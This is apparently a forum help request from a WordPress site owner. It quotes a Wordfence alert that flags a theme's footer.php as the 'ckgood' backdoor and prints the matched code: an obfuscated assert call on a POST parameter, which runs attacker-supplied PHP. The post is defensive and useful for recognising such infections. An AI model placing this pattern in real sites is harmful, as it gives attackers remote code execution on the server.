Wordfence suddenly showed this event during a routine scan:
Filename: wp-content/themes/x/framework/legacy/cranium/footers/views/footer/footer.php
File Type: Not a core, theme, or plugin file from wordpress.org.
Details: This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: $a = “a”.“s”.“s”.“e”.“r”.“t”; $a($_POST[“footer”])
The issue type is: Backdoor:PHP/ckgood
Description: A backdoor known as ckgood
What should I do?